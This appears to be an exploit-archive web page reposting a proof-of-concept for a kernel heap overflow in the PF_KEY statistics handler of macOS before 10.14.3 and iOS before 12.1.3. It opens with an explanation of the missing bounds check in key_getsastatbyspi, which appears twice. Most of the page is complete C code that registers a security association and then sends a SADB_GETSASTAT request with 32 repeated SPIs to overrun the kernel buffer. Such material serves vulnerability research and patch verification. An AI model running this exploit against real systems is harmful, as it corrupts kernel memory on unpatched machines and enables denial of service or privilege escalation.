macos < 10.14.3 ios < 12.1.3 kernel heap overflow in pf_key due to lack of bounds checking when retrieving statistics

▸▸▸ Exploit & Vulnerability >>   dos exploit & multiple vulnerability




macos < 10.14.3 ios < 12.1.3 kernel heap overflow in pf_key due to lack of bounds checking when retrieving statistics Code Code...
				
/* Inspired by Ned Williamsons's fuzzer I took a look at the netkey code. key_getsastat handles SADB_GETSASTAT messages: It allocates a buffer based on the number of SAs there currently are: bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav); KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize); It the retrieves the list of SPIs we are querying for, and the length of that list: sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT]; arg_count = sa_stats_arg->sadb_sastat_list_len; // exit early if there are no requested SAs if (arg_count == 0) { printf("%s: No SAs requested.\n", __FUNCTION__); error = ENOENT; goto end; } res_count = 0; It passes those, and the allocated buffer, to key_getsastatbyspi: if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1), arg_count, sa_stats_sav, &res_count)) { The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length... Looking at key_getsastatbyspi: static int key_getsastatbyspi (struct sastat *stat_arg, u_int32_t max_stat_arg, struct sastat *stat_res, u_int32_t *max_stat_res) { int cur, found = 0; if (stat_arg == NULL || stat_res == NULL || max_stat_res == NULL) { return -1; } for (cur = 0; cur < max_stat_arg; cur++) { if (key_getsastatbyspi_one(stat_arg[cur].spi, &stat_res[found]) == 0) { found++; } } *max_stat_res = found; if (found) { return 0; } return -1; } Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer. Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT containing multiple requests for that same, valid SPI. Tested on MacOS 10.14.2 (18C54) */ // @i41nbeer #if 0 iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics Inspired by Ned Williamsons's fuzzer I took a look at the netkey code. key_getsastat handles SADB_GETSASTAT messages: It allocates a buffer based on the number of SAs there currently are: bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav); KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize); It the retrieves the list of SPIs we are querying for, and the length of that list: sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT]; arg_count = sa_stats_arg->sadb_sastat_list_len; // exit early if there are no requested SAs if (arg_count == 0) { printf("%s: No SAs requested.\n", __FUNCTION__); error = ENOENT; goto end; } res_count = 0; It passes those, and the allocated buffer, to key_getsastatbyspi: if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1), arg_count, sa_stats_sav, &res_count)) { The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length... Looking at key_getsastatbyspi: static int key_getsastatbyspi (struct sastat *stat_arg, u_int32_t max_stat_arg, struct sastat *stat_res, u_int32_t *max_stat_res) { int cur, found = 0; if (stat_arg == NULL || stat_res == NULL || max_stat_res == NULL) { return -1; } for (cur = 0; cur < max_stat_arg; cur++) { if (key_getsastatbyspi_one(stat_arg[cur].spi, &stat_res[found]) == 0) { found++; } } *max_stat_res = found; if (found) { return 0; } return -1; } Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer. Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT containing multiple requests for that same, valid SPI. Tested on MacOS 10.14.2 (18C54) #endif #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/pfkeyv2.h> #if 0 struct sadb_msg { u_int8_t sadb_msg_version; u_int8_t sadb_msg_type; u_int8_t sadb_msg_errno; u_int8_t sadb_msg_satype; u_int16_t sadb_msg_len; // in 8-byte units u_int16_t sadb_msg_reserved; u_int32_t sadb_msg_seq; u_int32_t sadb_msg_pid; }; // extenstion header struct sadb_ext { u_int16_t sadb_ext_len; // 8-byte units u_int16_t sadb_ext_type; }; // SADB_EXT_SA struct sadb_sa { u_int16_t sadb_sa_len; u_int16_t sadb_sa_exttype; u_int32_t sadb_sa_spi; u_int8_t sadb_sa_replay; u_int8_t sadb_sa_state; u_int8_t sadb_sa_auth; u_int8_t sadb_sa_encrypt; u_int32_t sadb_sa_flags; }; // SADB_EXT_ADDRESS_SRC/DST // is this variable sized? struct sadb_address { u_int16_t sadb_address_len; u_int16_t sadb_address_exttype; u_int8_t sadb_address_proto; u_int8_t sadb_address_prefixlen; u_int16_t sadb_address_reserved; }; // SADB_EXT_KEY_AUTH header struct sadb_key { u_int16_t sadb_key_len; u_int16_t sadb_key_exttype; u_int16_t sadb_key_bits; // >> 3 -> bzero u_int16_t sadb_key_reserved; }; // SADB_EXT_SASTAT struct sadb_sastat { u_int16_t sadb_sastat_len; u_int16_t sadb_sastat_exttype; u_int32_t sadb_sastat_dir; u_int32_t sadb_sastat_reserved; u_int32_t sadb_sastat_list_len; /* list of struct sastat comes after */ } __attribute__ ((aligned(8))); struct sastat { u_int32_t spi; /* SPI Value, network byte order */ u_int32_t created; /* for lifetime */ struct sadb_lifetime lft_c; /* CURRENT lifetime. */ }; // no need to align #endif struct my_msg { struct sadb_msg hdr; // required options struct sadb_sa sa; // SADB_EXT_SA struct sadb_address address_src; // SADB_EXT_ADDRESS_SRC struct sockaddr_in sockaddr_src; // 0x10 bytes struct sadb_address address_dst; // SADB_EXT_ADDRESS_DST struct sockaddr_in sockaddr_dst; // 0x10 bytes struct sadb_key key; char key_material[128/8]; }; #define N_LIST_ENTRIES 32 struct stat_msg { struct sadb_msg hdr; struct sadb_session_id sid; struct sadb_sastat stat; struct sastat list[N_LIST_ENTRIES]; }; int main() { // get a PF_KEY socket: int fd = socket(PF_KEY, SOCK_RAW, PF_KEY_V2); if (fd == -1) { perror("failed to get PF_KEY socket, got privs?"); return 0; } printf("got PF_KEY socket: %d\n", fd); struct my_msg* msg = malloc(sizeof(struct my_msg)); memset(msg, 0, sizeof(struct my_msg)); msg->hdr.sadb_msg_version = PF_KEY_V2; msg->hdr.sadb_msg_type = SADB_ADD; msg->hdr.sadb_msg_satype = SADB_SATYPE_AH; msg->hdr.sadb_msg_len = sizeof(struct my_msg) >> 3; msg->hdr.sadb_msg_pid = getpid(); // SADB_EXT_SA msg->sa.sadb_sa_len = sizeof(msg->sa) >> 3; msg->sa.sadb_sa_exttype = SADB_EXT_SA; // we need to fill in the fields correctly as we need at least one valid key msg->sa.sadb_sa_spi = 0x41414141; msg->sa.sadb_sa_auth = SADB_AALG_MD5HMAC; // sav->alg_auth, which alg // -> 128 bit key size // SADB_EXT_ADDRESS_SRC msg->address_src.sadb_address_len = (sizeof(msg->address_src) + sizeof(msg->sockaddr_src)) >> 3; msg->address_src.sadb_address_exttype = SADB_EXT_ADDRESS_SRC; msg->sockaddr_src.sin_len = 0x10; msg->sockaddr_src.sin_family = AF_INET; msg->sockaddr_src.sin_port = 4141; inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_src.sin_addr); // SADB_EXT_ADDRESS_DST msg->address_dst.sadb_address_len = (sizeof(msg->address_dst) + sizeof(msg->sockaddr_dst)) >> 3; msg->address_dst.sadb_address_exttype = SADB_EXT_ADDRESS_DST; msg->sockaddr_dst.sin_len = 0x10; msg->sockaddr_dst.sin_family = AF_INET; msg->sockaddr_dst.sin_port = 4242; inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_dst.sin_addr); msg->key.sadb_key_exttype = SADB_EXT_KEY_AUTH; msg->key.sadb_key_len = (sizeof(struct sadb_key) + sizeof(msg->key_material)) >> 3; msg->key.sadb_key_bits = 128; size_t amount_to_send = msg->hdr.sadb_msg_len << 3; printf("trying to write %zd bytes\n", amount_to_send); ssize_t written = write(fd, msg, amount_to_send); printf("written: %zd\n", written); struct stat_msg * smsg = malloc(sizeof(struct stat_msg)); memset(smsg, 0, sizeof(struct stat_msg)); smsg->hdr.sadb_msg_version = PF_KEY_V2; smsg->hdr.sadb_msg_type = SADB_GETSASTAT; smsg->hdr.sadb_msg_satype = SADB_SATYPE_AH; smsg->hdr.sadb_msg_len = sizeof(struct stat_msg) >> 3; smsg->hdr.sadb_msg_pid = getpid(); // SADB_EXT_SESSION_ID smsg->sid.sadb_session_id_len = sizeof(struct sadb_session_id) >> 3; smsg->sid.sadb_session_id_exttype = SADB_EXT_SESSION_ID; // SADB_EXT_SASTAT smsg->stat.sadb_sastat_len = (sizeof(struct sadb_sastat) + sizeof(smsg->list)) >> 3; smsg->stat.sadb_sastat_exttype = SADB_EXT_SASTAT; smsg->stat.sadb_sastat_list_len = N_LIST_ENTRIES; for (int i = 0; i < N_LIST_ENTRIES; i++) { smsg->list[i].spi = 0x41414141; } amount_to_send = smsg->hdr.sadb_msg_len << 3; printf("trying to write %zd bytes\n", amount_to_send); written = write(fd, smsg, amount_to_send); printf("written: %zd\n", written); return 0; }

Macos < 10.14.3 ios < 12.1.3 kernel heap overflow in pf_key due to lack of bounds checking when retrieving statistics Vulnerability / Exploit Source : Macos < 10.14.3 ios < 12.1.3 kernel heap overflow in pf_key due to lack of bounds checking when retrieving statistics



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.